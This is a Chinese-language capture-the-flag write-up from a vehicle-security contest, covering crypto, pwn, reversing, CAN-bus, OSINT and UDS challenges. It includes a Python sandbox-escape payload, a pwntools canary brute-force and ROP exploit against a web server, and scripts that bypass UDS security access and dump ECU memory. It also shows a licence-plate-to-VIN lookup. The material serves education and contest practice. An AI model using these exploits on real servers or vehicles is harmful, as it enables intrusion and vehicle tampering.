

题目附件：

解题思路

手撕证书，提取出 n 后，直接分解 n ，RSA 解密拿到 key ，然后 AES 解密拿到 $flag$

```
from sage.all import *
```

```
from Crypto.Cipher import AES
```

```
from Crypto.Util.number import *
```

```
n=0xd7758488a2770c721ca06db407adcf3f
```

```
e=0x010001
```

```
print(n)
```

```
p=1021971265088706973
```

```
q=280237043557897671563
```

```
key=0xd6bfd5ae31761a41982f6c7a4d2b9902
```

```
phi=(p-1)*(q-1)
```

```
d=inverse_mod(e,phi)
```

```
key=pow(key,d,n)
```

```
msg=0x57caf12fc0aa2f5e5151f7b06d73c2a04cd6c212e0ba5240351beac058134ff63
```

```
8cd4ca17a60da63067bb1be70a3d907
```

```
cipher = AES.new(long_to_bytes(int(key)), AES.MODE_ECB)
```

```
dec_msg = cipher.decrypt(long_to_bytes(msg))
```

```
print(dec_msg)
```

pow pow!

题目说明

题目附件：

解题思路

根据题目提示是采用签名的方式，RSA 签名使用的是私钥，所以直接用公钥就能解出

flag

```
from Crypto.Util.number import *
```

```
e=65537
```

```
n=27130058966678375728118690628915085193505679921867847648180394177
```

```
2803005208513222098279533136776109959771753968554001157199972480932
```

```
1797878879147579419130960674124596552156424952075855742570771627635
```

```
7612383008262150259072257782913410617175802499340022388447047629022
```

```
3868812554131713318562633748538439615987442153799455387269535064548
```

```
5911278783946667435035229869086375306903270421089655498433217779009
```

```
3120515590458961735089368466550753534317073220559703261053361251093
```

```
8538687153912727048271314606578412236475992027179208423623789008593
```

```
8622889817981427114354259879802260462959166579072658519207038795972
```

```
6079579927264339
```

```
flag=417220480929740581198550067763673234908947354088985528975733773
```

```
6512303070584208009356148963914969296139250262532036044670829787749
```

```
3403814865022590039340295182500842912118436156024732775689397256619
```

```
9874328788110431558674390916609437654587962892475521069693880261810
7247235991939968132055218667508994013042802832653274036857030938271
1203714935080566893334965101302332884151535337432154995057796212049
9538178158579389149489136178333920126074334504174278850874814155305
9420124837675803038062487182700364305742864198416705040747639989644
1602406945400257459695994219131493722505715446654917684213843847689
19101583170066211

print(long_to_bytes(pow(flag,e,n)))

b'bh{signing_is_not_encryption!}'
```

Pwn

Sandbox Escaper

题目说明

题目附件：

I made this awesome python sandbox, its so locked down, I dont even
let you execute anything... I think?celsius.blockharbor.io:5100

解题思路

可以参看 <https://pid-blog.com/article/frame-escape-pyjail>

通过栈帧逃逸拿到沙箱外的 globals

通过().__class__.__bases__[0].__subclasses__()[138]的 FileFinder 调用 eval 然后再以同样方式实现 print(open('flag.txt','r').read())

Payload:

```
True.__eq__(().__class__.__bases__[0].__subclasses__()[138].__init__.__globals__[ '__builtins__']['eval']("().__class__.__bases__[0].__subclasses__()[138].__init__.__globals__[ '__builtins__']['print'](().__class__.__bases__[0].__subclasses__()[138].__init__.__globals__[ '__builtins__']['open']('flag.txt','r').read())"))
```

flag:bh{love_those_double_underscores}

Web Server Woes

题目说明

题目附件:

I had this great product idea, and made my own web server to host it!

Its blazing fast.

Create yourself a new instance at: <http://celsius.blockharbor.io:8080>

[a.out](#)

解题思路

fork 后的进程和原进程数据一致, handle_conn 存在 0x18 字节的溢出, 可以淹没 canary, rbp 以及 ret 地址, 可通过单字节爆破泄露这三个值, 然后 rop 输出 flag 即可。

但是由于需要爆破将近 0x1000 次，容器时间到了就会关闭，所以没成功。

Exp:

```
from pwn import *

elf = ELF('./a.out')

context.arch = 'amd64'

context.log_level = 'critical'

ip = '127.0.0.1'

port = 5000

canary = b''

for i in range(8):

    for j in range(0x100):

        p = remote(ip,port)

        header = b'GET /index.html HTTP/1.1'

        header = header.ljust(0x408, b'a') + canary + p8(j)

        try :

            p.send(header)

            p.recv(1024)

            canary += p8(j)

            break

        except:
```

```
p.close()

print('canary:',canary)

stack = b''

crack_stack_list = [x for x in range(0x70,0x80)]+[x for x in range(0,0x100,0x10)]

for x in range(0x100):

    if crack_stack_list.count(x)==0:

        crack_stack_list.append(x)

for i in range(6):

    for j in crack_stack_list:

        p = remote(ip,port)

        header = b'GET /index.html HTTP/1.1'

        header = header.ljust(0x408, b'a') + canary + stack + p8(j)

        try:

            p.send(header)

            p.recv(1024)

            stack += p8(j)

            break

        except:

            p.close()

    if len(stack)==i:

        print('Error')

        break
```

```
print('stack:',stack)
```

```
stack += b'\x00\x00'
```

```
ret_addr = b'\xa1'
```

```
ret_addr_list = [x for x in range(0x50,0x60)] + [x for x in range(0,0x100,0x10)]
```

```
for x in range(0x100):
```

```
    if ret_addr_list.count(x)==0:
```

```
        ret_addr_list.append(x)
```

```
for i in range(1,6):
```

```
    for j in ret_addr_list:
```

```
        p = remote(ip,port)
```

```
        header = b'GET /index.html HTTP/1.1'
```

```
        header = header.ljust(0x408, b'a') + canary + stack + ret_addr + p8(j)
```

```
        try:
```

```
            p.send(header)
```

```
            p.recv(1024)
```

```
            ret_addr += p8(j)
```

```
            break
```

```
        except:
```

```
            p.close()
```

```
if len(ret_addr)==i:
```

```
    print('Error')
```



```

        break

    print('ret_addr:',ret_addr)

ret_addr = u64(ret_addr.ljust(8,b'\x00'))

stack = u64(stack.ljust(8,b'\x00'))

elf.address = ret_addr - 0x18a1

rdi_ret = elf.address+0x00000000000001983

rsi_r15_ret = elf.address+0x00000000000001981

rdx_ret = elf.address+0x00000000000001414

rax_ret = elf.address+0x0000000000000145c

leave = elf.address+0x171f

flag_addr = stack-0x50-0x410+0x300

header = b'GET /index.html HTTP/1.1'

payload =

p64(0)+p64(rdi_ret)+p64(flag_addr)+p64(rsi_r15_ret)+p64(flag_addr+9)*2+p64(elf.plt[

'fopen'])

payload +=

p64(rdi_ret)+p64(5)+p64(rsi_r15_ret)+p64(flag_addr)*2+p64(rdx_ret)+p64(0x100)+p6

4(elf.plt['read'])

payload +=

p64(rdi_ret)+p64(4)+p64(rsi_r15_ret)+p64(flag_addr)*2+p64(rdx_ret)+p64(0x100)+p6

4(elf.plt['write'])

```

```
header += payload
```

```
header = header.ljust(0x300)+b'flag.txt\x00'+b'\x00'
```

```
header = header.ljust(0x408)+canary+p64(stack-0x50-0x410+0x18)+p64(leave)
```

```
p = remote(ip,port)
```

```
p.send(header)
```

```
p.interactive()
```

Reverse

REVERSing #1

题目说明

题目附件：

解题思路

```
from z3 import *
```

```
a = 1103515245
```

```
c = 12345
```

```
m = 2147483647
```

```
seed = 1337
```

```
def gen_random():  
    return ((((((a&0xffffffff) * (seed&0xffffffff))&0xffffffff) + (c&0xffffffff))&0xffffffff) %  
m)&0xffffffff
```

```
STATE = [0x1e48add6, 0xaaa7550c, 0x18df53bf, 0xe6af1116]
```

```
start = [BitVec(f'start_{i}', 32) for i in range(4)]
```

```
solver = Solver()
```

```
seeds = []
```

```
for _ in range(8):
```

```
    seed = gen_random()
```

```
    # print(hex(seed))
```

```
    seeds.append(seed)
```

```
# seeds = [0x4AFC77F, 0x18DAD34C, 0x7A554F96, 0x3896C718, 0x1D6C4571,
```

```
0x6AA82F57, 0x5C52DA44, 0x225FD72E]
```

```
for i in range(4):
```

```
    temp = start[i]
```

```

temp = (temp * 0xcafebabe & 0xFFFFFFFF)

temp = (temp + seeds[i * 2]) & 0xFFFFFFFF

temp = (temp * 0xfacade & 0xFFFFFFFF)

temp = (temp ^ seeds[i * 2 + 1]) & 0xFFFFFFFF

solver.add(temp == STATE[i])


# Check for solution

if solver.check() == sat:

    model = solver.model()

    result_start = [model.eval(start[i]).as_long() for i in range(4)]

    user_input = bytearray()

    for value in result_start:

        user_input.extend(value.to_bytes(4, 'big'))

    print("Correct input (in hex):", user_input.hex().upper())

else:

    print("No solution found")


flag 为 FLAG{55E6EFED15FE70926EB98B59FB1A976C}

```

Obscure.

题目说明

题目附件:

解题思路

```
$ file bhctf.bin
```

bhctf.bin: DOS/MBR boot sector

MBR 文件, 默认起始地址为 0x7c00

qemu 模拟+IDA(16bit)+gdb 动态调试

```
$ qemu-system-i386 -nographic -s -S -drive format=raw,file=bhctf.bin
```

```
$ gdb
```

GNU gdb (Ubuntu 12.1-0ubuntu1~22.04.2) 12.1

Copyright (C) 2022 Free Software Foundation, Inc.

License GPLv3+: GNU GPL version 3 or later <<http://gnu.org/licenses/gpl.html>>

This is free software: you are free to change and redistribute it.

There is NO WARRANTY, to the extent permitted by law.

Type "show copying" and "show warranty" for details.

This GDB was configured as "x86_64-linux-gnu".

Type "show configuration" for configuration details.

For bug reporting instructions, please see:

<<https://www.gnu.org/software/gdb/bugs/>>.

Find the GDB manual and other documentation resources online at:

<<http://www.gnu.org/software/gdb/documentation/>>.

```
pwndbg> set architecture i8086
```

warning: A handler for the OS ABI "GNU/Linux" is not built into this configuration of GDB. Attempting to continue with the default i8086 settings.

The target architecture is set to "i8086".

```
pwndbg> set disassembly-flavor intel
```

```
pwndbg> target remote:1234
```

由于 16bit 汇编, gdb 需要执行 set architecture i8086 指令, ida 可以设置起始地址偏移为 0x7c00。


seg000:7C62	sub_7C62	proc near	; CODE XREF: seg000:7C001J
seg000:7C62 FA		cli	
seg000:7C63 B8 00 90		mov ax, 9000h	
seg000:7C66 8E D0		mov ss, ax	
seg000:7C68		assume ss:nothing	
seg000:7C68 BC 00 FB		mov sp, 0FB00h	
seg000:7C6B FB		sti	
seg000:7C6C B4 00		mov ah, 0	
seg000:7C6E CD 10		int 10h	; - VIDEO - SET VIDEO MODE
seg000:7C6E			; AL = mode
seg000:7C70 BE 05 7C		mov si, 7C05h	
seg000:7C73 BF A5 00		mov di, 0A5h	
seg000:7C76 E8 C1 FF		call sub_7C3A	
seg000:7C79 BE 0F 7C		mov si, 7C0Fh	
seg000:7C7C E8 CA FF		call sub_7C49	
seg000:7C7F BE 8B 7C		mov si, 7C8Bh	
seg000:7C82 66 B9 FE 7D 00 00		mov ecx, 7DFEh	
seg000:7C88 E8 8D FF		call sub_7C18	
seg000:7C8B 1B 25		sbb sp, [di]	
seg000:7C8D 5D		pop bp	
seg000:7C8E 54		push sp	
seg000:7C8F 4C		dec sp	
seg000:7C90 05 E2 B3		add ax, 0B3E2h	
seg000:7C93 27		daa	
seg000:7C94 54		push sp	
seg000:7C95 C3		ret	
seg000:7C95	sub_7C62	endp	

首行 jmp 0x7c62, sub_7C62 执行了 3 个函数, sub_7C3A 用于打印“password:”提示字符串, sub_7C49 用于读取用户输入存入 0x7C0F 中(输入只能是 8 个字符), sub_7C18 对输入进行一些运算, 并将运算结果填充到 0x7C8B——0x7DFE 这段地址上(即原指令被修改)。

sub_7C18 return 之后会从 0x7C8B 继续执行修改后的指令。

后续的指令主要做了两个工作:

1. 校验输入



将输入依此*0x37、+0x6b、^0x16，然后和指定内存数据比较，如果校验通过则输

入正确，从内存中把比较数据 dump 下来如下：

```
pwndbg> x /10gx 0x7c8d
```

```
0x7c8d: 0x1f2861740a9e1f8f .....
```

写个脚本求解一下正确的输入：

```
from z3 import *
```

```
solver = Solver()
```

```
input_bytes = [BitVec(f'input_{i}', 8) for i in range(8)]
```

```
mem_0x7c8d = [0x8f, 0x1f, 0x9e, 0x0a, 0x74, 0x61, 0x28, 0x1f]
```

```
mem_0x7c10 = Concat(*reversed(input_bytes))
```

```
ax = mem_0x7c10
```

```
al = Extract(7, 0, ax)
```

```
for i in range(8):
```

```

bl = BitVecVal(0x37, 8)

al = input_bytes[i]

# mul bl

al = (al * bl) & 0xFF

# add al, 0x6b

al = (al + 0x6B) & 0xFF

# xor al, 0x16

al = al ^ 0x16

# mov bx, word ptr [0x7c8d + i]

bl = mem_0x7c8d[i]

solver.add(al == bl)

if solver.check() == sat:

    model = solver.model()

    result = [model[input_bytes[i]].as_long() for i in range(8)]

    print(result)

    print("Input:", ".join([chr(byte) for byte in result]))

else:

    print("No solution found")

# Input: BRKWATER

```

2. 讲输入与指定内存数据进行循环异或运算，运算完的结果就是 flag。重新启动 gdb

调试，输入正确的值：BRKWATER，运行到最后，得到 flag：


```
pwndbg> x /s 0x7cff
```

0x7cff:

```
"\353\035\r\nbh{What_a_REAL_headache}\r\nE\354C\364WA\274V\255\251\254KW  
"
```

flag 为 bh{What_a_REAL_headache}

Getting Started

Can you find the interface?

题目说明

题目附件:

解题思路

```
ddb3b4d875a:~$ ifconfig  
eth0      Link encap:Ethernet  HWaddr 02:42:AC:11:00:05  
          inet addr:172.17.0.5  Bcast:172.17.255.255  Mask:255.255.0.0  
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1  
          RX packets:85 errors:0 dropped:0 overruns:0 frame:0  
          TX packets:65 errors:0 dropped:0 overruns:0 carrier:0  
          collisions:0 txqueuelen:0  
          RX bytes:10018 (9.7 KiB)  TX bytes:191081 (186.6 KiB)  
  
lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0  
          UP LOOPBACK RUNNING  MTU:65536  Metric:1  
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0  
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0  
          collisions:0 txqueuelen:1000  
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)  
  
vcan0     Link encap:UNSPEC  HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00  
          UP RUNNING NOARP  MTU:72  Metric:1  
          RX packets:177 errors:0 dropped:0 overruns:0 frame:0  
          TX packets:177 errors:0 dropped:0 overruns:0 carrier:0  
          collisions:0 txqueuelen:1000  
          RX bytes:354 (354.0 B)  TX bytes:354 (354.0 B)
```

vcan0

Arbitration

题目说明

题目附件：

解题思路

```
ddb3b4d875a:~$ candump vcan0
vcan0 59E [2] 9E 10
vcan0 59E [2] 9E 10
vcan0 59E [2] 9E 10
vcan0 59E [2] 9E 10
vcan0 59E [2] 9E 10
vcan0 59E [2] 9E 10
```

59

Data Field 1

题目说明

题目附件

解题思路

见上题图

2

Data Field 2

题目说明

题目附件

解题思路

见上题图

9E10

Message Frequency

题目说明

题目附件

解题思路

```
ddbf3b4d875a:~$ candump -l vcan0
Disabled standard output while logging.
Enabling Logfile 'candump-2024-07-21_092025.log'
ddbf3b4d875a:~$ cat candump-2024-07-21_092025.log
(1721553625.970994) vcan0 59E#9E10
(1721553626.971228) vcan0 59E#9E10
(1721553627.972350) vcan0 59E#9E10
(1721553628.973480) vcan0 59E#9E10
ddbf3b4d875a:~$ █
```

OSINT

what is a great default password?

题目说明

题目附件：

解题思路

password

Founding Fathers

题目说明

题目附件

解题思路

<https://blockharbor.io/about-us/>



About Block Harbor.

Block Harbor was established in 2014 in direct response to the Jeep Hack that's often cited as the moment the industry took notice to the risk of cyberattacks to vehicles. In launching with several of the Automakers, Suppliers, and Auditors that were quick to act in vehicle cybersecurity, Block Harbor has always operated at the forefront, solving new challenges and building new solutions alongside our customers. This is what gives us our leading edge – we've worked alongside our customers, feeling their pain points, through their entire vehicle cybersecurity journey. Our expertise lies not only in our knowledge in vehicle cybersecurity, but also how automakers and their suppliers fundamentally function to yield a secure vehicle. In 2023, Block Harbor leveraged this unparalleled base of expertise and combined its technology into a platform known as the Vehicle Security Engineering Cloud (VSEC).

Vehicle OSINT

Finding a VIN

题目说明

题目附件：

解题思路

谷歌搜索 DCR 660 vin

找到查询地址

<https://epicvin.com/license-plate-lookup/michigan>

输入 DCR660 Michigan

跳转地址

<https://epicvin.com/check-vin-number-and-get-the-vehicle-history-report/checkout/YV4A22PK1H1184823>


VIN:YV4A22PK1H1184823

Make and model

题目说明


题目附件：

解题思路



Get unlimited access to detailed reports for just \$1*

We found **44 history records** on your vehicle.



2017 VOLVO XC90

VIN YV4A22PK1H1184823

Country:	Engine:
SWEDEN	2L B4204TS
Last mileage:	Last price:
<input type="text"/>	<input type="text"/>

<input type="text"/>	<input type="text"/>
<input type="text"/>	<input type="text"/>
<input type="text"/>	<input type="text"/>

2017-VOLVO-XC90

Manufactured at?



题目说明

Here's a license plate "DCR 660", it is registered in Michigan. Where was it manufactured at?

Format: City, Country

题目附件：

解题思路

General	
Make	VOLVO
Manufacturer Name	VOLVO CAR CORPORATION
Model	XC90
Model Year	2017
Plant City	TORSLANDA 
Trim	Momentum
Vehicle Type	MULTIPURPOSE PASSENGER VEHICLE (MPV)
Plant Country	SWEDEN 
Plant Company Name	Volvo Cars
Note	Emission Code: ULEV2
Base Price (\$)	45750.00

<https://www.lookupaplate.com/michigan/DCR660/>

flag 为: TORSLANDA, SWEDEN

题目附件：

解题思路

使用这个网站 <https://wagle.net>

VSEC Garage: UDS Challenge

Simulation VIN

题目说明

题目附件：

解题思路

使用 0x22 服务来读取 VIN

```
cansend vcan0 7df#0322F190000000000 && sleep 0.01 && cansend vcan0
```

```
7e0#300000000000000000
```

Startup Message

题目说明

题目附件：

解题思路

使用 0x11 服务来重置 ECU

```
cansend vcan0 7df#0211010000000000 && sleep 0.01 && cansend vcan0
```

```
7e0#300000000000000000
```

然后转 ascii 码为 g0Gre3n

Engine Trouble?

题目说明

题目附件：

解题思路

使用 0x19 服务来读取 DTC

```
cansend vcan0 7e0#0319020800000000
```

接收的是

```
vcan0 7E8 [8] 07 59 02 08 3E 9F 01 AB
```

flag 为 P3E9F-01

Secrets in Memory?

题目说明

题目附件：

解题思

flag 在该内存的很后面，得写个脚本获取

```
import can
```

```
import time
```

```
import binascii
```

```
bus = can.Bus(interface='socketcan', channel='vcan0')
```

```
recvdata = "[DATA]:"
```

```
start_addr = 0xC3F83FFF
```

```
end_addr = 0xC3F88FFF
```

```
step = 0xFF
```

```
for hex_value in range(start_addr, end_addr + 1, step):
```

```
    byte1 = (hex_value >> 24) & 0xFF
```

```
    byte2 = (hex_value >> 16) & 0xFF
```

```
    byte3 = (hex_value >> 8) & 0xFF
```

```
    byte4 = hex_value & 0xFF
```

```
    candata = [0x07, 0x23, 0x14, byte1, byte2, byte3, byte4, 0xFF]
```

```
    message = can.Message(arbitration_id=0x7DF, is_extended_id=False, dlc=8,
```

```
    data=candata)
```

```

bus.send(message, timeout=0.2)

recv_count = 0

while recv_count < 20:

    msg = bus.recv(timeout=0.1)

    if msg is not None:

        if recv_count == 0:

            recvddata += binascii.hexlify(msg.data).decode('utf-8')[6:]

            response_msg = can.Message(arbitration_id=0x7E0, is_extended_id=False,
dlc=8, data=[0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00])

            bus.send(response_msg, timeout=0.2)

        else:

            tempdata = binascii.hexlify(msg.data).decode('utf-8')[2:]

            if tempdata != "0000000000000000":

                recvddata += tempdata

            recv_count += 1

        else:

            break

print(recvddata)

bus.shutdown()

flag 为 flag{mem+r34d}

```

Security Access Level 3

题目说明

题目附件：

解题思路

脑洞题

加密就是将 0x1337 按位取反，得到 ecc8

Security Access Level 1

题目说明

题目附件：

解题思路

unlock.py

通过 0x10 服务，进入 0x03 诊断会话，然后使用 0x27 服务对安全等级 1 进行安全访问，最后通过返回的种子算出 key 值，发送进行解锁

```
import can
```

```
import time
```

```
import binascii
```

```
# 初始化 CAN 总线
```

```
bus = can.Bus(interface='socketcan', channel='vcan0')

# 进入诊断会话

print("Entering diagnostic session...")

message = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8,
data=[0x02, 0x10, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00])

bus.send(message, timeout=0.2)

msg = bus.recv()

print(f"Diagnostic session response: {binascii.hexlify(msg.data).decode('utf-8')}")


# 安全访问安全等级为 3 的会话

print("Accessing security level 3...")

message = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8,
data=[0x02, 0x27, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00])

bus.send(message, timeout=0.2)

msg = bus.recv()

seed = binascii.hexlify(msg.data).decode('utf-8')[6:10]

print(f"Seed received: {seed}")


# 计算 key

key = f'~int(seed, 16) & 0xFFFF:04X)'

print(f"Calculated key: {key}")
```

解锁

```
print("Unlocking access...")
```

```
message = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8,
```

```
data=[0x04, 0x27, 0x04, int(key[0:2], 16), int(key[2:4], 16), 0x00, 0x00, 0x00])
```

```
bus.send(message, timeout=0.2)
```

```
msg = bus.recv()
```

```
print(f"Unlock response: {binascii.hexlify(msg.data).decode('utf-8')}")
```

关闭 CAN 总线

```
bus.shutdown()
```

```
readmemory.py
```

```
import can
```

```
import time
```

```
import binascii
```

```
bus = can.Bus(interface='socketcan', channel='vcan0')
```

```
bus.set_filters([{"can_id": 0x7E8, "can_mask": 0xFFFF, "extended": False}])
```

```
recvdata = "[DATA]:"
```

```
for hex_value in range(0x1A000, 0x1B000, 0xFF):
```

```
    byte1 = (hex_value >> 24) & 0xFF
```

```
    byte2 = (hex_value >> 16) & 0xFF
```

```

byte3 = (hex_value >> 8) & 0xFF

byte4 = hex_value & 0xFF

candata=[0x07, 0x23, 0x14, byte1, byte2, byte3, byte4, 0xFF]

message = can.Message(arbitration_id=0x7DF, is_extended_id=False, dlc=8,
data=[0x02, 0x10, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00])

bus.send(message, timeout=0.2)

msg = bus.recv()

message = can.Message(arbitration_id=0x7DF, is_extended_id=False, dlc=8,
data=candata)

bus.send(message, timeout=0.2)

msg = bus.recv()

recvdata += binascii.hexlify(msg.data).decode('utf-8')[6:]

message = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8,
data=[0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00])

bus.send(message, timeout=0.2)

temp = 0

while temp < 36:

    msg = bus.recv()

    tempdata = binascii.hexlify(msg.data).decode('utf-8')[2:]

    if tempdata != "0000000000000000":

        recvdata += tempdata

    temp = temp + 1

```



```
print("\\n===== READMEM =====")
```

```
print(recvdata)
```

```
print("===== READMEM =====\\n")
```

```
bus.shutdown()
```

收集的数据如下

9c79a63d c9400c2a D57BCAEE

d57bcaee 804260f9 520B4A57

bd248e58 e81d244f 0AA8ED34

520b4a57 0732e040 EA976E6A

```
In [1]: hex(0x9c79a63d ^ 0xc9400c2a)
```

```
Out[1]: '0x5539aa17'
```

```
In [2]: hex(0xd57bcaee ^ 0x804260f9)
```

```
Out[2]: '0x5539aa17'
```

```
In [3]: hex(0xbd248e58 ^ 0xe81d244f)
```

```
Out[3]: '0x5539aa17'
```

```
In [4]: hex(0x520b4a57 ^ 0x0732e040)
```

```
Out[4]: '0x5539aa17'
```

数据异或结果都为 0x5539aa17，猜测安全等级 1 的加密为 seed 异或 0x5539aa17

得到 flag 为 2837b04b

ICSim

Unlock my door

题目说明 Please download <https://github.com/zombieCraig/ICSim> and read the instructions to compile/run. Once setup, set the seed value -s 10000 for both the ./controls and ./icsim. Next Answer the following questions.

Use any tool you would like in order to arrive at the answers. What is the arbitration id for door unlocks?

NOTE: Submit in the format 0xARBID

题目附件：

解题思路

通过 <https://github.com/zombieCraig/ICSim> 下载 使用项目里的 setup_vcan.sh 创建虚拟


vcan0

```
complete_commands.json data ttd.0 nelson-private
→ buildddir ./controls vcan0
Warning: No joysticks connected
→ buildddir ./icsim -s 10000 vcan0 & ./controls -s 10000 vcan0
[1] 15537
Using CAN interface vcan0
Seed: 10000
```

通过-s 设置 seed 来启动符合要求的窗口

通过 SavvyCAN 的 tools 中的 sniffer 通过 notch 后进行按左 shift 右 shift 这时就高亮出

我们的 id



Speedometer Arbid

题目说明

Please download <https://github.com/zombieCraig/ICSim> and read the instructions to compile/run. Once setup, set the seed value `-s 10000` for both the `./controls` and `./icsim`. Next Answer the following questions.

Use any tool you would like in order to arrive at the answers.

What is the arbitration id for the speedometer display?

车速表显示屏的仲裁 ID 是什么？

NOTE: Submit in the format 0xARBID


题目附件：

解题思路

通过 cansniffer -c vcan0

可以通过颜色标注 can 数据的变化

通过↑键控制车速上升可以看到 779 的值一直上升



可以大致确定了是 779 通过 while 一直发送数据，可以看到仪表一直是满速

所以确定仲裁 ID 就是 779

